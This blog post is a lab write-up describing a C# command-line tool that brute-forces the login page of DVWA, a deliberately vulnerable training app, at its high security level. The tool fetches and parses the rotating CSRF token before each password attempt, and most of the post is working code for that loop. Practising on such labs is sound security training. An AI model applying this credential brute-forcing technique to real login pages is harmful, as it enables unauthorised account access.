Writing a C# CLI Tool for DVWA Login Brute Force (High Security)
Hello readers, this blog post is a continuation of my exploitations of DVWA (Damn Vulnerable Web App). The first post can be viewed here. This is a direct response to the Brute Force (high security) section.
To recap, the high-security setting of the Brute Force scenario includes a hidden CSRF token in the webpage that updates to a new value after every login attempt. For this reason, I could not use Burpsuite to solve this challenge because I would need a way to dynamically retrieve this token from the webpage for every login request. In this blog post, I will be writing about the C# program I wrote to solve this challenge.
Inspecting the DVWA page source reveals the hidden CSRF token embedded in the webpage:
This changes to a random value after every login attempt. Therefore the first step is to make a request to the webpage so I can later parse the HTML response for the token value. In C# I can make HTTP requests using an HttpClient object with the following code:
using(var httpClient = new HttpClient())
{
httpClient.BaseAddress = new Uri(_targetBaseAddressURI);
httpClient.DefaultRequestHeaders.Add("Cookie", cookieContents);
var loginPageResponseBody = await httpClient.GetStringAsync("");
}
_targetBaseAddressURI is set to the URL of the DVWA login page I have running via Docker (http://localhost:3000/vulnerabilities/brute
/).
Headers with cookies set by DVWA are also required so that we are able to access the login page, otherwise we get redirected to the default DVWA login screen. cookieContents is a string with the following contents:
var cookieContents = $ "PHPSESSID={_phpSessId}; security=high";
The _phpSessId string variable is equal to the cookie set by DVWA, which can be found by using browser DevTools and inspecting cookies:
Finally, the HTML response is stored as a string in the loginPageResponseBody variable.
I now have the HTML response string containing the CSRF token - now I need to parse for this token. To accomplish this, I installed the AngleSharp Nuget package which makes parsing for this token as easy as the following 2 lines of code:
var document = await context.OpenAsync(req => req.Content(loginPageResponseBody));
var csrfToken = document.QuerySelector($"input[name='user_token']").GetAttribute("value");
I now have all of the information I need to make a login attempt against DVWA. I can make another HTTP GET request that will save the HTML response as a string in the loginAttemptResponseBody variable:
var loginAttemptResponseBody = await httpClient.GetStringAsync($"?username={_username}&password={_password}&Login=Login&user_token={csrfToken}");
The webpage response will include "Welcome to the password protected area admin" if the login was successful, or it will include "Username and/or password incorrect" if it was unsuccessful. In C# I can check for the result with the following if/else statements:
if (loginAttemptResponseBody.Contains("Username and/or password incorrect"))
{
Console.WriteLine($"Incorrect password ({_password}).");
}
else if (loginAttemptResponseBody.Contains("Welcome to the password protected area admin"))
{
Console.WriteLine($"Valid password found: {_password}.");
break;
}
else {
Console.WriteLine($"Error - Unexpected webpage response received after attempting login (attempted password: {_password}).");
}
And that's it! We can repeat this process in a foreach loop that iterates over a list of potential passwords and continue until the correct one is found or until the list is exhausted.
The complete C# code can be viewed on my Github at https://github.com/chrisbrown-01/DVWA-BruteForce-HighSecurity. For reading in the password list file, I just used the quick solution of …
File.ReadLines(_passwordListPath).ToList();
…but for a more robust program the best practice would be to read each line using StreamReader so that the entire list isn't getting stored into memory.
I wrote the program to be run as a CLI tool that can accept arguments for the username, URL, phpSessId, and password list file (TXT or CSV). Details on how to install and run the tool are included in the above Github repo README. Here are some screenshots of what the tool looks like in action: